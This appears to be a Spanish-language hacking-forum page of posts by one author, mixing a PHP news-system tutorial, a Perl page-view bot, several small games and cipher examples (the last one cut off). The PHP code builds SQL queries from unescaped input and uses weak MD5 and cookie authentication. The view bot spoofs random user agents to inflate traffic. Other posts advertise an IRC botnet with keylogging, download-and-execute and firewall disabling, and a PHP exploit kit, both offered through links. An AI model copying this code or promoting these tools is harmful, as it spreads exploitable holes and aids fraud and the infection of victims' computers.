        $sumo = mysql_query("SELECT MAX(id) FROM categoria_$categoria");
       
        $s = mysql_fetch_row($sumo);
       
        foreach ($s as $d) {
            $x_id = $d + 1;
        }
        if (@mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
            return true;
        }
    }
   
    public function ver_este($id, $categoria)
    {
        if (is_numeric($id)) {
            $total = array();
            if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
                while ($ver = @mysql_fetch_array($que)) {
                    return array(
                        $ver[0],
                        $ver[1],
                        $ver[2],
                        $ver[3]
                    );
                }
            }
        }
    }
   
    public function listar_categorias()
    {
       
        $found = array();
       
        if ($re = @mysql_query("show tables from " . $this->db)) {
           
            while ($dat = mysql_fetch_row($re)) {
                $separo = split("_", $dat[0]);
                array_push($found, $separo[1]);
            }
            return array(
                $found
            );
        }
       
    }
   
    public function ver_todo($categoria)
    {
        $total = array();
        if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
            while ($ver = @mysql_fetch_array($que)) {
                array_push($total, $ver);
            }
            return array(
                $total
            );
        }
    }
   
    public function mod($categoria, $id, $tit, $con, $fech)
    {
        if (@mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
            return true;
        }
    }
   
    public function crear_comentario($categoria, $id_noticia, $fecha, $apodo, $mensaje)
    {
       
        $sumo = mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");
       
        $s = mysql_fetch_row($sumo);
       
        foreach ($s as $d) {
            $x_id = $d + 1;
        }
       
        if (mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
            return true;
        }
       
    }
   
    public function mod_comentario($categoria, $id, $fecha, $apodo, $contenido)
    {
        if (@mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
            return true;
        }
    }
   
    public function ver_comentarios($categoria, $id)
    {
        $todo = array();
        if ($ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
            while ($que = @mysql_fetch_array($ver)) {
                if ($que[0] == 1) {
                    array_push($todo, $que);
                }
            }
            return array(
                $todo
            );
        }
       
    }
   
   
    public function borrar_comentario($categoria, $id)
    {
        if (is_numeric($id)) {
            if (@mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
                return true;
            }
        }
    }
   
   
    public function cantidad_posts($categoria)
    {
        $valor    = mysql_query("SELECT MAX(id) FROM categoria_$categoria");
        $cantidad = mysql_fetch_row($valor);
        return $cantidad[0];
    }
   
   
    public function cerrar()
    {
        if (mysql_close()) {
            return true;
        }
    }
   
}

// The End ?

?>


Ahora creen el siguiente codigo llamado admin.php :

Código: php

<?php

include("login_now.php"); // LLamamos al archivo LoginNow.php
include("noticion.php"); // Llamamos al archivo noticion.php

$username = "admin"; // Declaramos el usuario
$password = "21232f297a57a5a743894a0e4a801fc3"; // Declaramos el password "admin" en md5

$host_mysql  = "localhost"; // Establecemos el host mysql
$user_mysql  = "root"; //Establecemos el usuario mysql
$pass_mysql  = ""; // Establecemos el password mysql
$db_mysql    = "noticias"; // Establecemos la BD Mysql
$tabla_mysql = "test"; // Declaramos el nombre de la tabla que contendra las noticias

$categoria = "test"; // Declaramos la categoria de las noticias

if (isset($_COOKIE['test'])) { // Si existe el cookie test ...
    $comprobar = base64_decode($_COOKIE['test']); // Decodificamos sub contenido que esta en base64 y guardamos su contenido en la variable $comprobar
    $parte     = preg_split("/@/", $comprobar); // Dividimos el usuario y el password que estan en entre @
    $cookie    = new LoginNow; // Creamos el objeto de la clase LoginNow
    $cookie->campos($parte[0], $parte[1]); // Establecemos los valores del usuario y el password que estan en la variable $parte
    if ($cookie->secure($username, $password)) { // Verificamos con los valores globales que sean realmente los mismos passwords
       
        $noticia = New noticion; // Creamos el objeto noticion
        $noticia->datos($host_mysql, $user_mysql, $pass_mysql, $db_mysql); // Establecemos los datos Mysql
       
        if (mysql_num_rows(mysql_query("show tables like 'categoria_$tabla_mysql'"))) { // Verificamos si existe la categoria
           
            echo "
<title>Administrador</title>
<br><h1><center>Administrador</center></h1><br>
";
           
            list($noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias
           
            echo "<center><table border=1>";
           
            foreach ($noticias as $ver) { // Listamos la lista de noticias
                echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[3]) . "</td><tr>"; // Mostramos el ID,Titulo y Fecha
            }
            echo "</table></center><br>";
           
            echo "
<center>
<form action='' method=POST>
Titulo : <input type=text name=titulo value=titulo><br><br>
Contenido : <input type=text name=contenido value=test><br><br>
<input type=submit name=publicar value=Publicar>
</form>
</center>
";
           
            if (isset($_POST['publicar'])) {
               
                if ($noticia->nueva_noticia(addslashes($_POST['titulo']), addslashes($_POST['contenido']), addslashes(date('Y-m-d')), $categoria)) { // Creamos la noticia ...
                    echo "<center>Noticia Subida</center>";
                } else {
                    echo "<center>Error</center>";
                }
            }
           
        } else {
            $noticia->crear_categoria($categoria); // Creamos la categoria sino existe
            echo "Tabla creada , reinicie la pagina";
        }
       
        $noticia->cerrar();
       
    }
} else {
   
    echo "
<title>Login</title>
<br><h1><center>Login</center></h1><br>
<center>
<form action='' method=POST>
Usuario : <input type=text name=usuario><br>
Password : <input type=password name=password><br><br>
<input type=submit name=login value=Entrar><br>
</form>
</center>
";
   
    if (isset($_POST['login'])) {
       
        $login1 = new LoginNow; // Creamos el objeto de la calse LoginNow
        $login1->campos("usuario", "password"); // Establecemos los campos html del formulario donde estan el usuario y el password
        if ($login1->secure($username, $password)) { // Verificamos que sean los mismos que los globales
            $login1->cookienow("test"); // Creamos una cookie llamada "test"
            echo "<center>Bienvenido administrador</center>";
        } else {
            echo "<center>Error en el inicio de sesion</center>";
        }
    }
   
}

?>


Primero modifiquen los datos mysql por los suyos en el admin.php despues entren con el user y pass : "admin" , deberian ver esto :



Una vez logeados :



Ahora creen las noticias que quieran , yo en mi caso voy a publicar 5 sucesivamente con "titulo" y "test".

Despues de eso mi panel se vera asi :



Ahora cargamos la plantilla creada y usada anteriormente con Dream para ir al div "body" y borrar todo lo que contiene para copiar el siguiente codigo en PHP :

Código: php

<?php

include("noticion.php"); // Llamamos al archivo noticion.php

$host_mysql  = "localhost"; // Establecemos el host mysql
$user_mysql  = "root"; //Establecemos el usuario mysql
$pass_mysql  = ""; // Establecemos el password mysql
$db_mysql    = "noticias"; // Establecemos la BD Mysql
$tabla_mysql = "test"; // Declaramos el nombre de la tabla que contendra las noticias

$categoria = "test"; // Declaramos la categoria de las noticias

$noticia = New noticion; // Creamos el objeto noticion
$noticia->datos($host_mysql, $user_mysql, $pass_mysql, $db_mysql); // Establecemos los datos Mysql

list($noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias

foreach ($noticias as $ver) { // Listamos la lista de noticias
    echo "<div class='post'>
<h3>" . htmlentities($ver[1]) . "</h3>
<p>" . htmlentities($ver[2]) . "</p>
</div>";
}

?>


Los dos codigos estan identados y comentados para que puedan entender.

Deberian ver algo como esto :



Y el resultado de la pagina con el sistema de noticias seria :



Eso seria todo.

--========--
The End ?
--========--

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Version en VideoTutoriales :













Cualquier error o sugerencia diganla para mejorar.
#84
Perl / [Perl] DH ViewBot 0.2
Enero 16, 2015, 12:59:59 PM
Un simple script que sirve como bot para hacer visitas con las siguientes opciones :

  • Visitar una sola pagina
  • Visitar paginas en un archivo marcado de forma ordenada
  • Visitar paginas en un archivo marcado de forma aleatoria
  • Opciones para timeout y cantidad de visitas

    El codigo :

    Código: perl

    #!usr/bin/perl
    #DH ViewBot 0.2
    #(C) Doddy Hackman 2015

    use Getopt::Long;
    use LWP::UserAgent;
    use URI::Split qw(uri_split);
    use IO::Socket;

    my @agents = (
    'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
        'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
    'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
    'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
        'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
    'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
    'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
    );

    GetOptions(
        "single=s"     => \$single_opt,
        "file=s"       => \$file_opt,
        "randomfile=s" => \$randomfile_opt,
        "timeout=i"    => \$timeout_opt,
        "count=i"      => \$count_opt
    );

    head();

    if ( $single_opt or $file_opt or $randomfile_opt ) {

        my $page = $single_opt;

        my $timeout = "";

        if ( $timeout_opt eq "" ) {
            $timeout = "5";
        }
        else {
            $timeout = $timeout_opt;
        }

        my $count = "";

        if ( $count_opt eq "" ) {
            $count = "10";
        }
        else {
            $count = $count_opt;
        }

        if ( $single_opt ne "" ) {

            my $page = $single_opt;

            print "\n[+] Configuration\n";

            print "\n--------------------------------------------------";
            print "\n[+] Page : " . $page . "\n";
            print "[+] Timeout : " . $timeout . "\n";
            print "[+] Visit Count  : " . $count . "\n";
            print "--------------------------------------------------";

            visitar( $page, $timeout, $count, "single" );

        }

        elsif ( $randomfile_opt ne "" ) {

            visitar_random( $randomfile_opt, $timeout, $count );

        }
        elsif ( $file_opt ne "" ) {

            if ( $file_opt ne "" ) {

                unless ( -f $file_opt ) {
                    print "\n[-] File not exist\n";
                    copyright();
                    exit(1);
                }

                print "\n" . toma_fecha_y_hora("Started");

                my @paginas = repes( leer_archivo($file_opt) );

                for my $page (@paginas) {

                    chomp $page;

                    print "\n--------------------------------------------------";
                    print "\n[+] Page : " . $page . "\n";
                    print "[+] Timeout : " . $timeout . "\n";
                    print "[+] Visit Count : " . $count . "\n";
                    print "--------------------------------------------------";

                    visitar( $page, $timeout, $count, "file" );

                }

                print "\n" . toma_fecha_y_hora("Finished");

            }
            else {
                print "\n[-] Option not selected\n";
                exit(1);
            }

        }

    }
    else {
        print qq(
    [+] Options :

    -single : Page to visit
    -file : File with pages to visit
    -randomfile : File with pages to visit as random
    -timeout : Time for visit
    -count : Count to visist

    );
        print
    "[+] Example : perl $0 -single http://www.supertangas.com/index.php -timeout 5 -count 50\n";
    }
    copyright();

    # Functions

    sub head {
        print "\n-- == DH ViewBot 0.2 == --\n";
    }

    sub copyright {
        print "\n-- == (C) Doddy Hackman 2015 == --\n";
    }

    sub visitar_random {

        my ( $file, $timeout, $count ) = @_;

        my @paginas     = repes( leer_archivo($file) );
        my $total_bueno = "";
        my $total_malo  = "";

        print "\n" . toma_fecha_y_hora("Started");

        for ( 1 .. $count ) {
            my $target = $paginas[ rand(@paginas) ];
            chomp $target;
            print "\n--------------------------------------------------";
            print "\n[+] Page : " . $target . "\n";
            print "[+] Timeout : " . $timeout . "\n";
            print "--------------------------------------------------";

            print "\n\n[+] Getting information ...\n\n";

            print toma_banner($target) . "\n";

            my ( $status, $control ) = toma_response($target);

            if ( $control eq "1" ) {
                $total_bueno++;
            }
            else {
                $total_malo++;
            }

            print "\n[+] Visit $_ : $target : " . $status . "\n";

            sleep($timeout);

        }

        print "\n[+] Successful Visits : " . $total_bueno . "\n";

        print "\n" . toma_fecha_y_hora("Finished");

    }

    sub visitar {

        my ( $page, $timeout, $count, $type ) = @_;

        print "\n\n[+] Getting information ...\n\n";

        print toma_banner($page);

        if ( $type eq "single" ) {
            print "\n\n" . toma_fecha_y_hora("Started") . "\n";
        }
        else {
            print "\n\n" . "[+] Working ..." . "\n\n";
        }

        my $total_bueno = "";
        my $total_malo  = "";

        for ( 1 .. $count ) {

            sleep($timeout);

            my ( $status, $control ) = toma_response($page);

            if ( $control eq "1" ) {
                $total_bueno++;
            }
            else {
                $total_malo++;
            }

            syswrite STDOUT, "[+] Visit $_ : $page : " . $status . "\r";

        }

        syswrite STDOUT,
          "[+] Successful Visits : " . $total_bueno . "\t\t\t\t\t\t\t\t\t\t\r";

        if ( $type eq "single" ) {
            print "\n" . toma_fecha_y_hora("Finished");
        }
        else {
            print "\n" . "[+] Finished\n";
        }

    }

    sub toma_response {
        my $control = "";
        my $nave    = LWP::UserAgent->new();
        $nave->agent( $agents[ rand @agents ] );
        $nave->timeout(5);
        my $code = $nave->get( $_[0] );
        if ( $code->is_success ) {
            $control = "1";
        }
        else {
            $control = "0";
        }
        my $status = $code->status_line();
        return ( $status, $control );
    }

    sub toma_banner {
        my $resultado = "";
        my $nave      = LWP::UserAgent->new();
        $nave->agent( $agents[ rand @agents ] );
        $nave->timeout(5);
        my $code = $nave->get( $_[0] );
        $resultado = $resultado
          . "--------------------------------------------------------------------------";
        $resultado = $resultado . "\n[+] IP : " . get_ip( $_[0] );
        $resultado = $resultado . "\n[+] Date : " . $code->header('date');
        $resultado = $resultado . "\n[+] Server : " . $code->header('server');
        $resultado =
          $resultado . "\n[+] Connection : " . $code->header('connection');
        $resultado =
          $resultado . "\n[+] Content-Type : " . $code->header('content-type');

        if ( $code->header("Set-Cookie") ne "" ) {
            $resultado =
              $resultado . "\n[+] Cookie : " . $code->header("Set-Cookie");
        }
        $resultado = $resultado
          . "\n--------------------------------------------------------------------------";
        return $resultado;
    }

    sub get_ip {
        my ( $nomesirve1, $host, $nomesirve2, $nomesirve3, $nomesirve4 ) =
          uri_split( $_[0] );
        my $get = gethostbyname($host);
        return inet_ntoa($get);
    }

    sub toma_fecha_y_hora {

        my (
            $segundos, $minutos,    $hora,       $dia, $mes,
            $anio,     $nomesirve1, $nomesirve2, $nomesirve3
        ) = localtime(time);

        $anio += 1900;
        $mes++;

        return "[+] $_[0] Time : " . "$dia/$mes/$anio $hora:$minutos:$segundos\n";

    }

    sub repes {
        my @limpio;
        foreach $test (@_) {
            push @limpio, $test unless $repe{$test}++;
        }
        return @limpio;
    }

    sub leer_archivo {
        my @r;
        my @words;
        open( FILE, $_[0] );
        @words = <FILE>;
        close FILE;
        for (@words) {
            push( @r, $_ );
        }
        return (@r);
    }

    #The End ?


    Un ejemplo de uso :

    Código: php


    C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl

    -- == DH ViewBot 0.2 == --

    [+] Options :

    -single : Page to visit
    -file : File with pages to visit
    -randomfile : File with pages to visit as random
    -timeout : Time for visit
    -count : Count to visist

    [+] Example : perl C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBo
    t\view.pl -single http://www.supertangas.com/index.php -timeout 5 -count 50

    -- == (C) Doddy Hackman 2015 == --

    C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl -single h
    ttp://www.petardas.com/index.php -timeout 5 -count 5

    -- == DH ViewBot 0.2 == --

    [+] Configuration

    --------------------------------------------------
    [+] Page : http://www.petardas.com/index.php
    [+] Timeout : 5
    [+] Visit Count  : 5
    --------------------------------------------------

    [+] Getting information ...

    --------------------------------------------------------------------------
    [+] IP : 5.135.178.142
    [+] Date : Fri, 2 Jan 2015 16:44:10 GMT
    [+] Server : Apache/2.2.3 (CentOS)
    [+] Connection : close
    [+] Content-Type : text/html; charset=latin1
    [+] Cookie : pais=AR; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; domain=www.
    petardas.com, cookieconsent=1; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; do
    main=www.petardas.com, esmovil=0; expires=Mon, 2-Jan-2015 00:17:30 GMT; path=/;
    domain=www.petardas.com
    --------------------------------------------------------------------------

    [+] Started Time : 2/1/2015 13:44:31

    [+] Successful Visits : 5

    [+] Finished Time : 2/1/2015 13:45:2

    -- == (C) Doddy Hackman 2015 == --

#85
Back-end / [PHP] DH Labs 0.1
Enero 09, 2015, 01:13:58 PM
Les dejo esta recopilacion de codigos php que uso para hacer exploits y programas orientados a la seguridad web.

Las funciones que tiene son :

  • Blind SQL Injection
  • ByPass Login
  • ByPass Uploader
  • Cross Site Request Forgery
  • Eval injection
  • Full Source Discloure
  • Headers Injection
  • HTML Injection
  • Insecure Cookie Handling
  • Local File Inclusion
  • Listado de directorios
  • Remote Command Execution
  • Remote File Inclusion
  • SQL Injection
  • XSS

    Una imagen :



    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#86
Python / [Python-Pygame] E.T Must Die 0.3
Enero 01, 2015, 11:50:22 AM
Un simple shooter que hice en Python usando Pygame , el juego consiste en eliminar la amenaza de E.T antes de que escape de nuestro planeta.
Es un juego raro pero me sirvio para estudiar el tema de programacion de juegos en Python xD.

Una imagen :



Un video de como se juega :



El codigo :

Código: python

#!usr/bin/python
#E.T Must Die 0.3
#(C) Doddy Hackman 2015
#Credits : Based on Bush Shootout.py Coded by Nathaniel
#Thanks to Nathaniel

import pygame
from pygame.locals import *
import sys,random,time

pygame.init()

juego = pygame.display.set_mode((860,640))
pygame.display.set_caption("E.T Must Die 0.3")
icono = pygame.image.load("Data/Images/icono.png").convert_alpha()       
pygame.display.set_icon(icono)
pygame.mouse.set_visible(False)

letra = pygame.font.Font(None,35)

vida = 200
control = False

class mira(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.mira = pygame.image.load("Data/Images/mira.png")
self.rect = self.mira.get_rect()
self.rect.x = 860/2
self.rect.y = 640/2
def mover(self):
posicion = pygame.mouse.get_pos()
self.rect.x = posicion[0]
self.rect.y = posicion[1]
juego.blit(self.mira,self.rect)
def lanzar(self):
yeah = pygame.sprite.spritecollide(self,lista,dokill=False)
if yeah:

global vida
vida = vida - 10
pygame.mixer.Sound("Data/Sounds/risa2.wav").play()

class threat(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.imagen = pygame.image.load("Data/Images/avatar.png")
self.rect = self.imagen.get_rect()
self.tiempo = 15
self.contador = int(self.tiempo)
def mover(self):
self.contador += 1
if self.contador >= self.tiempo:
self.rect.x = random.randrange(20,850)
self.rect.y = random.randrange(30,540)
self.contador = 0
juego.blit(self.imagen,self.rect)


pygame.mixer.Sound("Data/Sounds/menu.wav").play()
men = pygame.image.load("Data/Images/portada.png")
juego.blit(men,(0,0))
pygame.display.update()
time.sleep(9)

pygame.mixer.init()
pygame.mixer.music.load("Data/Sounds/theme.mp3")
pygame.mixer.music.play()

mira = mira()
threat = threat()

lista = pygame.sprite.Group()
lista.add(threat)

cro = pygame.time.Clock()
mil = 0

while True:

        mil += cro.tick()
        casi = mil/1000
        casi = 30 - casi

if casi < 1:
control = True

for acatoy in pygame.event.get():
               
if acatoy.type == QUIT:
sys.exit(1)

if acatoy.type == MOUSEBUTTONDOWN and acatoy.button == 1:
pygame.mixer.Sound("Data/Sounds/disparo.wav").play()
mira.lanzar()

if not control:

fondo = pygame.image.load("Data/Images/fondo.jpg")
juego.blit(fondo,(0,0))
juego.blit(letra.render("Remaining Time : "+str(casi),True,(255,0,0)),(20,10))
juego.blit(letra.render("Threat "+str(vida),True,(255,0,0)),(700,10))
mira.mover()
threat.mover()

if vida == 0:
over = pygame.image.load("Data/Images/ganaste.png")
juego.blit(over,(0,0))
pygame.display.update()
time.sleep(10)
sys.exit(1)

else:
over = pygame.image.load("Data/Images/perdiste.png")
juego.blit(over,(0,0))
pygame.display.update()
pygame.mixer.Sound("Data/Sounds/risa.wav").play()
time.sleep(10)
sys.exit(1)

pygame.time.delay(15)
pygame.display.flip()

#The End ?


Si quieren bajar el juego lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#87
Como regalo de navidad les traigo una IRC Botnet que hice en Delphi con la siguientes opciones :

  • Ejecutar comandos
  • Listar procesos activos
  • Cerrar procesos
  • Listar archivo de un directorio
  • Borrar archivos y directorios
  • Leer archivos
  • Abrir y cerrar la lectora
  • Mostrar y ocultar iconos
  • Mostrar y ocultar taskbar
  • Enviar pulsaciones de teclado con SendKeys
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla
  • Listar Drives
  • Listar servicios
  • Listar ventanas de windows abiertas
  • Activar o desactivar el firewall
  • Apagar,cerrar sesion y reiniciar computadora
  • Mostrar mensajitos en la pantalla
  • Abrir paginas en el navegador
  • Cargar paint
  • Activar y desactivar Regedit
  • Cambiar el texto de la barra de tareas por la palabra que quieran
  • Descargar y ejecutar archivos
  • Ver la IP del infectado
  • Keylogger incorporado

    El Builder incorpora las siguientes opciones :

  • Se puede escoger la configuracion del servidor IRC a usar , configurar el keylogger y la carpeta en la que se esconde el server
  • Se puede cambiar la extension y el icono del server
  • Podes detectar los nuevos infectados que ingresan al canal con mensajes de alerta por parte del programa cuando se este minimizado
  • El stub y el bot de control hablan cada cierto tiempo para evitar ser vistos como bot

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#88
Python / [Python-Pygame] Cruel Hangman 0.2
Diciembre 19, 2014, 10:57:14 AM
Un simple ahorcado que hice en python usando Pygame , el juego es una parodia del capitulo llamado "Chef se volvio loco" de South Park , es solo una parodia de ese capitulo no se lo vayan a tomar en serio.

Una imagen :



El codigo :

Código: python

#!usr/bin/python
#Cruel Hangman 0.2
#(C) Doddy Hackman 2014

import pygame,sys,time,random
from pygame.locals import *

test1 = ""
test2 = ""
test3 = ""
test4 = ""
test5 = ""

des1 = "0"
des2 = "0"
des3 = "0"
des4 = "0"
des5 = "0"

gane = "0"
perdi = "0"

repetido = []

oportunidades = 7

def escribir_fuente(texto,x,y):
cargando_fuente = pygame.font.SysFont(None, 40)
tipo_fuente = cargando_fuente.render(texto, True, (255, 0, 0))
posicion = tipo_fuente.get_rect()
posicion.centerx = x
posicion.centery = y
screen.blit(tipo_fuente,posicion)

def actualizar(letra,letra1,letra2,letra3,letra4,letra5):

  global oportunidades
 
  if letra=="inicio":

   test1 = ""
   test2 = ""
   test3 = ""
   test4 = ""
   test5 = ""

   des1 = "0"
   des2 = "0"
   des3 = "0"
   des4 = "0"
   des5 = "0"

   gane = "0"
   perdi = "0"
   
   oportunidades = 7
   
   global repetido
   
   repetido = []
     
   over = pygame.image.load("Data/Images/logoinicio.png")
   screen.blit(over,(0,0))
   
   escribir_fuente("_",300,570)
   escribir_fuente("_",350,570)
   escribir_fuente("_",400,570)
   escribir_fuente("_",450,570)
   escribir_fuente("_",500,570)
   
   escribir_fuente("",300,560)
   escribir_fuente("",350,560)
   escribir_fuente("",400,560)
   escribir_fuente("",450,560)
   escribir_fuente("",500,560)
     
   pygame.display.update()
   
  else:


   if oportunidades==7:
    over = pygame.image.load("Data/Images/logoinicio.png")
    screen.blit(over,(0,0))
       
   global test1
   global test2
   global test3
   global test4
   global test5
   
   global des1
   global des2
   global des3
   global des4
   global des5
   
   global gane
   global perdi
   
   control = 0
   
   if letra==letra1:
    test1 = letra
    if des1 == "0":
     des1 = "1"
     control = 1

   if letra==letra2:
    test2 = letra
    if des2 == "0":
des2 = "1"
control = 1
   
   if letra==letra3:
    test3 = letra
    if des3 == "0":
des3 = "1"
control = 1
   
   if letra==letra4:
    test4 = letra
    if des4 == "0":
des4 = "1"
control = 1
   
   if letra==letra5:
    test5 = letra
    if des5 == "0":
des5 = "1"
control = 1

   if des1=="1" and des2=="1" and des3=="1" and des4=="1" and des5=="1":
oportunidades = 7
pygame.mixer.Sound("Data/Sounds/ohh.ogg").play()
escribir_fuente("You Win",680,50)
escribir_fuente("Press Enter to continue",680,90)
gane = "1"
pygame.display.update()

   if control==1:
    repetido.append(letra)
    pygame.mixer.Sound("Data/Sounds/bien.ogg").play()
   else:
if not letra in repetido:
oportunidades = oportunidades - 1 
pygame.mixer.Sound("Data/Sounds/mal.ogg").play()

   if oportunidades==6:
    over = pygame.image.load("Data/Images/logocabeza.png")
    screen.blit(over,(0,0))

   if oportunidades==5:
    over = pygame.image.load("Data/Images/logopalo.png")
    screen.blit(over,(0,0))
   
   if oportunidades==4:
    over = pygame.image.load("Data/Images/logobrazo1.png")
    screen.blit(over,(0,0))   
     
   if oportunidades==3:
    over = pygame.image.load("Data/Images/logobrazo2.png")
    screen.blit(over,(0,0))
     
   if oportunidades==2:
    over = pygame.image.load("Data/Images/logopierna1.png")
    screen.blit(over,(0,0))
   
   if oportunidades==1:
    over = pygame.image.load("Data/Images/final.png")
    screen.blit(over,(0,0))
    pygame.mixer.Sound("Data/Sounds/festejo.ogg").play()
    escribir_fuente("You Lost",680,50)
    escribir_fuente("Press Enter to continue",680,90)
    perdi = "1"
    test1 = letra1
    test2 = letra2
    test3 = letra3
    test4 = letra4
    test5 = letra5
       
   escribir_fuente("_",300,570)
   escribir_fuente("_",350,570)
   escribir_fuente("_",400,570)
   escribir_fuente("_",450,570)
   escribir_fuente("_",500,570)
   
   escribir_fuente(test1,300,560)
   escribir_fuente(test2,350,560)
   escribir_fuente(test3,400,560)
   escribir_fuente(test4,450,560)
   escribir_fuente(test5,500,560)
   
   pygame.display.update()
   

screen = pygame.display.set_mode((860,640),0,32)

icono = pygame.image.load("Data/Images/icono.png").convert_alpha()       
pygame.display.set_icon(icono)
pygame.display.set_caption("Cruel Hangman 0.2 (C) Doddy Hackman 2014")

pygame.init()

pygame.mixer.Sound("Data/Sounds/menu.wav").play()
men = pygame.image.load("Data/Images/logohangman.png")
screen.blit(men,(0,0))
pygame.display.update()
time.sleep(9)

def game():

#palabras = ["pizza","agrio"]
palabras =

["andar","banco","cazar","clave","etapa","oasis","parte","saber","socio","u

sado","ronca","boxeo","pizza","groso","fallo","acera","acoso","agrio","ansi

a","gnomo","gordo","pieza"]

palabra = random.choice(palabras)

letra1 = palabra[0]
letra2 = palabra[1]
letra3 = palabra[2]
letra4 = palabra[3]
letra5 = palabra[4]

actualizar("inicio",letra1,letra2,letra3,letra4,letra5)

pygame.mixer.init()
pygame.mixer.music.load("Data/Sounds/theme.mp3")
pygame.mixer.music.play()


while True:
  for eventos in pygame.event.get():
   if eventos.type == QUIT:
    sys.exit(0)


   if (eventos.type == pygame.KEYDOWN) and (eventos.key ==

pygame.K_RETURN):
    if gane=="1" or perdi=="1":
    game()

   if eventos.type==KEYDOWN :
    if eventos.unicode.lower() in ("abcdefghijklmnopqrstuvwxyz"):
     actualizar(eventos.unicode,letra1,letra2,letra3,letra4,letra5)
   
game()

# The End ?



Si quieren bajar el juego lo pueden hacer de

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#89
Perl / [Perl] Ejemplo de Cifrado Vigenere
Diciembre 13, 2014, 11:23:06 AM
Un simple ejemplo del cifrado Vigenere que hice usando un modulo que encontre en cpan.

El codigo :

Código: perl

# !usr/bin/perl
# Vigenere Cipher
# Coded By Doddy Hackman in the year 2014

use Crypt::Vigenere;

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Vigenere Cipher == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
===============
= Menu        =
===============
1 - Encode    =
2 - Decode    =
3 - Exit      =
===============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Enter Key : ";
    chomp( my $key = <stdin> );

    print "\n[+] Result ...\n\n";

    $tool = Crypt::Vigenere->new($key);

    if ( $op eq "1" ) {
        print $tool->encodeMessage($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print $tool->decodeMessage($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

# The End ?


Eso es todo.
#90
Perl / [Perl] Ejemplo de Sucesion Fibonacci
Diciembre 05, 2014, 12:57:54 PM
Un simple ejemplo de la Sucesion Fibonacci en Perl.

El codigo :

Código: perl

# !usr/bin/perl
# Sucesion Fibonacci
# Coded By Doddy Hackman in the year 2014

head();

print "\n\n[+] Enter count : ";
chomp( my $cantidad = <stdin> );

print "\n";

my ( $uno, $dos ) = ( "0", "1" );

for my $num ( 0 .. $cantidad ) {
    print "[+] : " . $uno . "\n";
    my $final = $uno + $dos;
    $uno = $dos;
    $dos = $final;
}

copyright();
<stdin>;
exit(1);

# Functions

sub head {
    print "\n-- == Fibonacci Sequence == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

# The End ?

#91
Perl / [Perl] Ejemplo de Cifrado Cesar
Noviembre 28, 2014, 01:48:09 PM
Un simple ejemplo de como hacer en cifrado cesar en Perl.

El codigo :

Código: perl

# !usr/bin/perl
# Caesar Cipher
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Caesar Cipher == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
==============
